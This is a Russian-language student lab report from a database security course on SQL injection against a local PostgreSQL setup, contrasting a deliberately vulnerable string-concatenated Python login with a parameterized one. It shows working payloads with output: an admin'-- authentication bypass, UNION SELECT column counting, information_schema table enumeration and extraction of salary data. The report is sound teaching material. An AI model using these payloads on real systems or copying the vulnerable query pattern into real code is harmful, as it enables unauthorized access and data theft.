

Министерство науки и высшего образования Российской Федерации
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ
УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Факультет безопасности информационных технологий

Дисциплина:
«Информационная безопасность баз данных»

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №6
«SQL-инъекции»

Выполнил:

Пахомов Владимир Юрьевич, студент группы N3250



(подпись)

Проверил:

Ярцева Наталия Андреевна, преподаватель ФБИТ

(отметка о выполнении)

(подпись)

Санкт-Петербург

2026г.

СОДЕРЖАНИЕ

СОДЕРЖАНИЕ.....	2
ВВЕДЕНИЕ.....	3
ХОД РАБОТЫ.....	3
Задание 1.....	4
Задание 2.....	5
Задание 3.....	6
Задание 4.....	7
ЗАКЛЮЧЕНИЕ.....	9

ВВЕДЕНИЕ

Цель работы — исследовать SQL-инъекции и способы их предотвращения при доступе приложений к базе данных.

ХОД РАБОТЫ

В данной лабораторной работе для взаимодействия с базой данных PostgreSQL будем использовать утилиту psql на ОС Linux. Для создания и подключения к локальной базе данных создадим файл lab6.sql и впишем в него все команды для создания базы данных и отправки команд из методического материала. Для подключения к базе данных используем команду:

```
psql -U postgres -f lab6.sql
```

Задание 1

Для начала создадим три таблицы:

```
CREATE TABLE users (  
    id SERIAL PRIMARY KEY,  
    username VARCHAR(50) NOT NULL,  
    password VARCHAR(50) NOT NULL  
);  
  
CREATE TABLE students_info (  
    id SERIAL PRIMARY KEY,  
    user_id INT REFERENCES users(id),  
    full_name VARCHAR(100),  
    city VARCHAR(50),  
    university VARCHAR(50),  
    degree VARCHAR(50)  
);  
  
CREATE TABLE finances (  
    id SERIAL PRIMARY KEY,  
    user_id INT REFERENCES users(id),  
    salary_amount INT  
);
```

Теперь создадим саму базу данных командами:

```
sudo -u postgres psql  
CREATE DATABASE dbsecurity
```

Задание 2

Для взаимодействия с базой данных напомним программу на языке программирования Python, которая будет отправлять запросы на выборку, вставку и удаление данных, а также отправлять два сложных запроса:

```
DB_CONFIG = {
    "dbname": "dbsecurity",
    "user": "postgres",
    "password": "12345",
    "host": "localhost",
    "port": "5432"
}

conn = psycopg2.connect(**DB_CONFIG)
cursor = conn.cursor()

with open("lab6.sql") as f:
    sql_script = f.read()

    cursor.execute(sql_script)
    conn.commit()

# -----
#               Задание 2
# -----
# ВЫБОРКА
cursor.execute("""SELECT full_name, university
FROM students_info WHERE university = 'ITMO';""")

# ВСТАВКА
cursor.execute("""INSERT INTO users (username, password)
VALUES ('psql_coder', 'psql_passwd') RETURNING id;""")
user_id = cursor.fetchall()[0][0]
cursor.execute("""INSERT INTO students_info (user_id, full_name, university)
VALUES (%s, 'Vladimir Pakhomov', 'ITMO');""", (user_id,))

# УДАЛЕНИЕ
cursor.execute("""DELETE FROM students_info
WHERE full_name = 'Ivan Ivanov';""")

# СЛОЖНЫЕ ЗАПРОСЫ
cursor.execute("""SELECT u.username, s.full_name, f.salary_amount
FROM users u JOIN students_info s ON u.id = s.user_id
JOIN finances f ON u.id = f.user_id;
""")
cursor.execute("""SELECT full_name, university
FROM students_info WHERE user_id IN
(SELECT id FROM finances WHERE salary_amount >=
(SELECT AVG(salary_amount) FROM finances));
""")

conn.commit()
```

Задание 3

Напишем программу, которая будет запрашивать у пользователя логин и пароль, вставлять этот запрос в SQL команду и выдавать соответствующее сообщение. Реализуем небезопасный (обычная конкатенация строк) и безопасный (подготовленные параметры) способы реализации:

```
# -----
#               Задание 3
# -----
username = input("Логин: ")
password = input("Пароль: ")
print("\n")

# НЕБЕЗОПАСНЫЙ СПОСОБ
cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';")
data = cursor.fetchall()
headers = [desc[0] for desc in cursor.description]
table = tabulate(data, headers, tablefmt="grid")
print("Небезопасный способ:")
if data:
    print(f"Авторизация прошла успешно")
    print(table)
else:
    print("Неверные логин или пароль")

# БЕЗОПАСНЫЙ СПОСОБ
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s;",
(username, password))
data = cursor.fetchall()
print("\nБезопасный способ:")
if data:
    print("Авторизация прошла успешно")
    print(table)
else:
    print("Неверные логин или пароль")
```

Теперь если злоумышленник знает логин пользователя, то он может войти в систему бузе пароля, написав логин, например admin'--. В итоге получаем такой результат:

Логин: admin'--
Пароль:

Небезопасный способ:
Авторизация прошла успешно

id	username	password
1	admin	admin123

Безопасный способ:
Неверные логин или пароль

Задание 4

4.1 Чтобы определить количество столбцов нужно ввести следующую строку при вводе логина:

```
' UNION SELECT NULL, NULL ...
```

Эта команда будет выдавать ошибку, пока злоумышленник не подберёт то количество NULL, которое будет соответствовать количеству столбцов в базе данных. Например для текущей базы данных вывод будет таким:

Логин: ' UNION SELECT NULL, NULL, NULL--
Пароль:

Небезопасный способ:

Авторизация прошла успешно

```
+-----+-----+-----+
| id   | username | password |
+=====+=====+=====+
|      |          |          |
+-----+-----+-----+
```

Безопасный способ:

Неверные логин или пароль

Как видим было введено три NULL и следовательно с базе данных три таблицы.

4.2 Для определения структуры базы данных достаточно написать следующую строку при вводе логина:

```
' UNION SELECT '1', table_name, 'table' FROM information_schema.tables WHERE
table_schema = 'public'--
```

Эта строка выведет названия всех таблиц базы данных:

Логин: ' UNION SELECT '1', table_name, 'table' FROM information_schema.tables WHERE
table_schema = 'public'--
Пароль:

Небезопасный способ:

Авторизация прошла успешно

```
+-----+-----+-----+
| id | username | password |
+=====+=====+=====+
|  1 | finances | table    |
+-----+-----+-----+
```

1	students_info	table
1	users	table

Безопасный способ:
Неверные логин или пароль

4.3 Чтобы совершить кражу конфиденциальных данных из другой таблицы достаточно написать следующую строку:

```
' UNION SELECT user_id, 'Salary: ', CAST(salary_amount AS TEXT) FROM finances--
```

В итоге мы украдём данные из таблицы с зарплатами:

Логин: ' UNION SELECT user_id, 'Salary: ', CAST(salary_amount AS TEXT) FROM finances--
Пароль:

Небезопасный способ:
Авторизация прошла успешно

id	username	password
6	Salary:	40000
2	Salary:	45000
5	Salary:	32000
4	Salary:	35000
1	Salary:	70000
3	Salary:	30000

Безопасный способ:
Неверные логин или пароль

В режиме параметризации база данных воспринимает наш введённый логин как просто длинную строку, в то время как в конкатенации происходит несанкционированное внедрение команд.

ЗАКЛЮЧЕНИЕ

В ходе лабораторной работы были изучены и реализованы методы защиты от SQL-инъекций, включая демонстрацию уязвимостей при использовании строковой конкатенации и защиту с помощью подготовленных запросов. Также был выполнен анализ уязвимостей на примере языка Python с использованием библиотек psycorg2 для взаимодействия с PostgreSQL и библиотеки tabulate для красивого вывода таблиц.

Работа позволила получить практические навыки работы с SQL-инъекциями и продемонстрировать важность правильного взаимодействия с базой данных для предотвращения угроз безопасности.